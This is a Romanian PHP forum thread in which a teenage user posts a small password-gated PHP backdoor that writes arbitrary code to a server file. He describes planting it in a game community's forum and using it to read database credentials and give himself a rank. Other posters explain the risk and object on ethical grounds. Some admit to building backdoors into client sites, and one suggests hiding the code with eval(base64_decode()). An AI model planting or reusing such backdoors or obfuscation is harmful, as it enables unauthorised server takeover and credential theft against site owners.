Pentru ce?

Ai o întrebare legată de PHP? Incercăm să îi găsim soluţie. Sau poate doar vrei să publici un cod interesant.

Moderatori: Zamolxe, Moderatori

Avatar utilizator
artur99
Average Member
Mesaje: 55
Membru din: Joi Ian 10, 2013 9:00 pm
Contact:

Pentru ce?

Mesajde artur99 » Mar Mai 06, 2014 10:36 pm

Sa va vad. Care dintre voi stie la ce ar fi bun codul asta. E bun la ceea ce l-am folosit si eu. Ia sa vad, ghiciti?

Cod: Selectaţi tot


<?php
if(isset($_GET["12344"])): ?>
<form action="#" method="POST">
<input type="password" name="pass"><br>
<textarea cols="50" rows="20" name="content"></textarea><br>
<input type="submit"></form>
<?php
endif;
if(isset($_POST["pass"])&&isset($_POST["content"])&&$_POST["pass"] == "12344"){
$fh = fopen("logo2.php", "w+");
fwrite($fh, $_POST["content"]);
fclose($fh);
}
?>


:twisted:



Avatar utilizator
Birkoff
Senior Member
Mesaje: 6380
Membru din: Joi Mar 18, 2004 2:34 pm
Localitate: Bucuresti
Contact:

Re: Pentru ce?

Mesajde Birkoff » Mar Mai 06, 2014 10:56 pm

pare a fi o incercare jalnica de LFI...
tu la ce l-ai folosit?
1) CMS, ERP, CRM, etc... (doar pentru clienti))
2) Portofoliu, servicii, contact, blog
3) Folositi aceasta clasa sql in proiectele voastre (open source)
4) Vrei un magazin virtual la cheie, usor de folosit, cu api-uri incluse pentru maximizarea vanzarilor si multe alte facilitati? Da un semn si discutam.

Avatar utilizator
artur99
Average Member
Mesaje: 55
Membru din: Joi Ian 10, 2013 9:00 pm
Contact:

Re: Pentru ce?

Mesajde artur99 » Mie Mai 07, 2014 6:57 am

Cei aia LFI? :D
Nu. eu lam folosit pentru siguranta. De exemplu am modificat un forum pentru un site de metin, si mi sa promis grad. Si odata cu forumul ala am trimis si scriptul asta intrun fisier logo.php. Cand am terminat, nu am mai primit grad, asa ca am intrat in logo.php?12344 am scris codul pentru rescrierea scriptului in main root... Apoi, de acolo am bagat un file_get_contents pe inc/config.inc.php
Si asa am aflat nume, parola, host de la baza de date si miam dat singur grad :D
Ingenios sistem, nu?
Si lam folosut si pe siteuri cand avea cineva nevoie de ajutor cu un file_get_contents un str_replace si file_put_contens. Pana acum a mers ca pe roate :D

Emanuelll
Junior Member
Mesaje: 41
Membru din: Vin Mai 13, 2011 7:04 pm

Re: Pentru ce?

Mesajde Emanuelll » Mie Mai 07, 2014 10:51 am

Esti putin cam nesimtit daca ii dai unui incepator, pe langa ajutor si un script de genul.

In rest, bine gandit ca faci lucruri din astea cu clienti pusi pe tzepe.
Si eu imi pun vulnerabilitati in codul scris de mine, dar cand clientul plateste.. scot vulnerabilitatea. :mrgreen:

Avatar utilizator
vectorialpx
Senior Member
Mesaje: 4832
Membru din: Mar Mar 01, 2005 9:48 am
Localitate: Bucuresti
Contact:

Re: Pentru ce?

Mesajde vectorialpx » Mie Mai 07, 2014 12:57 pm

Mama, ce destept esti... meriti o diploma!
Ia vezi, poate poti sa-l faci base64 ca sa iei si niste flori 8O

Avatar utilizator
Birkoff
Senior Member
Mesaje: 6380
Membru din: Joi Mar 18, 2004 2:34 pm
Localitate: Bucuresti
Contact:

Re: Pentru ce?

Mesajde Birkoff » Mie Mai 07, 2014 1:45 pm

artur99 scrie:Cei aia LFI? :D
Nu. eu lam folosit pentru siguranta. De exemplu am modificat un forum pentru un site de metin, si mi sa promis grad. Si odata cu forumul ala am trimis si scriptul asta intrun fisier logo.php. Cand am terminat, nu am mai primit grad, asa ca am intrat in logo.php?12344 am scris codul pentru rescrierea scriptului in main root... Apoi, de acolo am bagat un file_get_contents pe inc/config.inc.php
Si asa am aflat nume, parola, host de la baza de date si miam dat singur grad :D
Ingenios sistem, nu?
Si lam folosut si pe siteuri cand avea cineva nevoie de ajutor cu un file_get_contents un str_replace si file_put_contens. Pana acum a mers ca pe roate :D


LFI = http://en.wikipedia.org/wiki/Local_File_Inclusion
Este modalitatea prin care o persoana rau intentionata poate injecta cod nou pe server prin care sa ia controlul acelui server si apoi sa afle parole si alte informatii utile (ceea ce de fapt ai si facut)
Este cea mai cunoscuta vulnerabilitate dupa XSS ( http://en.wikipedia.org/wiki/Cross-site_scripting )

Spusesem ca mi se pare jalnica, deoarece codul e scris in stilul unui incepator si daca alt "hacker" da de fisier poate face brute-force pana afla user/parola si apoi preia el controlul... + ca pe unele servere nu merge fopen + ca nu sunt verificari minimale de siguranta (daca asa e tot codul din site-ul ala nu m-as mira sa nu pice cel putin 1 data pe luna) + ca la "content" trimis nefiltrat (stie vectorialpx la ce se refera cand zice de base64) codul final poate ajunge cu erori pe server

Legat de discutia inceputa aici, si eu am un backdor in scripturile mele prin care pot prelua controlul site-ului, dar e altfel gandit si intr-adevar, il folosesc la clientii rau platnici (dar are protectie contra brute-force, datele sunt transmise criptat pe baza unei chei publice/private pentru a evita atacul de tip MITM http://en.wikipedia.org/wiki/Man-in-the-middle_attack + alte filtre ca sa fiu sigur ca doar eu am acces nu si altcineva (comunicare cu serverele mele)
1) CMS, ERP, CRM, etc... (doar pentru clienti))
2) Portofoliu, servicii, contact, blog
3) Folositi aceasta clasa sql in proiectele voastre (open source)
4) Vrei un magazin virtual la cheie, usor de folosit, cu api-uri incluse pentru maximizarea vanzarilor si multe alte facilitati? Da un semn si discutam.

l33t
Senior Member
Mesaje: 216
Membru din: Sâm Mai 10, 2008 7:31 pm

Re: Pentru ce?

Mesajde l33t » Mie Mai 07, 2014 3:31 pm

Vorbesti despre forumul asta? http://mt2drs.ro/forum/

Avatar utilizator
vectorialpx
Senior Member
Mesaje: 4832
Membru din: Mar Mar 01, 2005 9:48 am
Localitate: Bucuresti
Contact:

Re: Pentru ce?

Mesajde vectorialpx » Mie Mai 07, 2014 6:24 pm

Eu stiu ca sunt multi idioti care nu platesc serviciile, tepari si toate felurile de oameni dar, nu sunt deloc de acord cu un asemenea backdoor.
In primul rand, introduci o bresa de securitate, tu cu manuta ta. Poti sa o securizezi oricat.
Apoi, nu ti-ar conveni sa-ti cumperi o masina noua, sa platesti bani frumosi pentru ea si, sa te trezesti dupa doua luni ca ai o bomba in portbagaj.

Pentru problema cu plata exista o solutie foarte simpla, eleganta si legala:
Pentru a te asigura ca ti se plateste munca pui site-ul pe o gazduire proprie.
Setarea si propagarea unui DNS dureaza cateva ore, nu este asa o problema pentru un site nou-lansat.
Cand clientul plateste ii poti da un FTP sau codul, nu este musai sa ii dai codul cu o bomba in el.

Dar, in fine, fiecare face cum crede.

PS: un client serios te poate da in judecata pentru asta si iti poate cere despagubiri pe masura
PS2: link-ul artur99.hostyd.com are un Trojan. Instaleaza-ti un antivirus bun, schimba-ti parola la FTP si ai grija pe ce site-uri umblii (fix in ordinea asta).

Avatar utilizator
artur99
Average Member
Mesaje: 55
Membru din: Joi Ian 10, 2013 9:00 pm
Contact:

Re: Pentru ce?

Mesajde artur99 » Mie Mai 07, 2014 8:00 pm

Am antivirus foarte bun. Eset Nod 4 cu update in fiecare zi :D. Deci nu e problema... Si nu are cum sa fie trojani pe acolo... am doar cateva .bat-uri si niste .bat-uri convertite online in .exe posibil alea sa fie... dar in rest am doar php html si imagini... Dar cum tiai dat seama ca are trojan si unde il are?

Asa, si cu base64 nu am mai lucrat pana acum. Cum il criptez in base64 si cum il folosesc?

Si pana acum am lucrat pe degeaba... Adik intrun fel la negru, dar nu pe bani...

l33t, nu, la ala am lucrat cu mult inainte de a-mi veni ideea asta :D... Si de unde ma rog stii tu la ce am lucrat? :D

Avatar utilizator
Birkoff
Senior Member
Mesaje: 6380
Membru din: Joi Mar 18, 2004 2:34 pm
Localitate: Bucuresti
Contact:

Re: Pentru ce?

Mesajde Birkoff » Mie Mai 07, 2014 10:21 pm

vectorialpx, scriptul meu face si update-urile automate de pe serverele mele, clientii stiu de asta si au fost de acord de la inceput.
desigur, ca prin update eu pot trimite orice comenzi, inclusiv stergerea bazei de date. ideea am preluat-o de la phpbb din sistemul lor de update (poti spune ca si phpbb are un backdor, preia comenzile de pe serverul lor si face update-urile necesare (daca cineva sparge serverul lor poate injecta intr-un update orice ii trece prin cap, infestand astfel mii de forumuri printr-un update).
la fel e si la un antivirus sau orice aplicatie care face update, primeste comenzi de la un server si le executa... acelasi principiu l-am implementat si la mine.

artur99 instaleaza in paralel si https://www.malwarebytes.org/free/ sau http://www.emsisoft.com/en/ si o sa vezi ca multe lucruri care nu le detecteaza antivirusul le vor detecta programele antimalware... (virusii si malware sunt 2 lucruri diferite si in general e nevoie de 2 aplicatii diferite)

legat de base64, vezi si tu exemplele in manualul php http://ro1.php.net/manual/en/function.base64-encode.php
1) CMS, ERP, CRM, etc... (doar pentru clienti))
2) Portofoliu, servicii, contact, blog
3) Folositi aceasta clasa sql in proiectele voastre (open source)
4) Vrei un magazin virtual la cheie, usor de folosit, cu api-uri incluse pentru maximizarea vanzarilor si multe alte facilitati? Da un semn si discutam.

Avatar utilizator
artur99
Average Member
Mesaje: 55
Membru din: Joi Ian 10, 2013 9:00 pm
Contact:

Re: Pentru ce?

Mesajde artur99 » Mie Mai 07, 2014 11:15 pm

ok, multumesc :)

l33t
Senior Member
Mesaje: 216
Membru din: Sâm Mai 10, 2008 7:31 pm

Re: Pentru ce?

Mesajde l33t » Joi Mai 08, 2014 12:50 am

Re: Pentru ce?
Dată expediere: Mie Mai 07, 2014 8:11 pm
Expeditor: artur99
Destinatar: l33t

de unde stii de forum? :D


Nu-mi da mesaje pe privat, nu o sa-ti raspund.
Daca esti curios, poti afla si citind dintr-o carte.

Hai sa te intreb eu altceva. Ai semnat un contract cu clientul respectiv?

Avatar utilizator
artur99
Average Member
Mesaje: 55
Membru din: Joi Ian 10, 2013 9:00 pm
Contact:

Re: Pentru ce?

Mesajde artur99 » Joi Mai 08, 2014 6:59 am

Nu am avut contract... Cum sa-mi fac contract la 14 ani?? Si nicii lui nu iar fi convenit, pentru ca nu avea metinul cu firma... era doar asa, ca sa joci... Asta afost si motivul pentru care am creat acesc script... Nu am mai primit gradul acolo asa ca mam decis ca de acum in colo imi voi da singur grad...

Avatar utilizator
vectorialpx
Senior Member
Mesaje: 4832
Membru din: Mar Mar 01, 2005 9:48 am
Localitate: Bucuresti
Contact:

Re: Pentru ce?

Mesajde vectorialpx » Vin Mai 09, 2014 8:52 am

Birkoff scrie:vectorialpx, scriptul meu face si update-urile automate de pe serverele mele, clientii stiu de asta si au fost de acord de la inceput.

Atat timp cat oferi mentenanta acelui site, mi se pare normal, mai ales daca stie clientul de asta (ceea ce nu este deloc cazul topic-ului de fata).
Daca este un client X care primeste un site si apoi nu-l mai vezi niciodata, imi pastrez ideea initiala
(dupa cum ziceam, in exemplul cu o masina noua pe care platesti niste bani frumosi).

artur99, este de apreciat faptul ca de la 14 ani te intereseaza programarea si, bravo tie!
Totusi, este important sa stii diferenta dintre bine si rau.
Adica, poti face lucruri foarte urate dintr-o tastatura, lucruri care pot intra in categoria "frauda" si "inselatorie"
=> poti face inchisoare sau, intra la o scoala de corectie (nu stiu daca mai exista asa ceva pe la noi).
(daca e vorba de Metin, ma indoiesc dar totusi, este bine sa intelegi ce e bine si ce nu si, care este gravitatea a ceea ce faci)

Referitor la base64, iti dau un indiciu:
base64_encode(SCRIPT) => eval( base64_decode(SCRIPT) )

Avatar utilizator
artur99
Average Member
Mesaje: 55
Membru din: Joi Ian 10, 2013 9:00 pm
Contact:

Re: Pentru ce?

Mesajde artur99 » Sâm Mai 10, 2014 8:07 am

ok, am inteles.
Dar oricum eu nu-s in stare sa schimb o parola sau sa sterg ceva, sau sa las pe cineva fara cont. Pot face ceva doar atata timp cat nu il deranjeaza prea mult... Ca altfel ma bate constiinta la cap toata ziua :/


Înapoi la “Cod PHP”

Cine este conectat

Utilizatori ce ce navighează pe acest forum: Niciun utilizator înregistrat și 35 vizitatori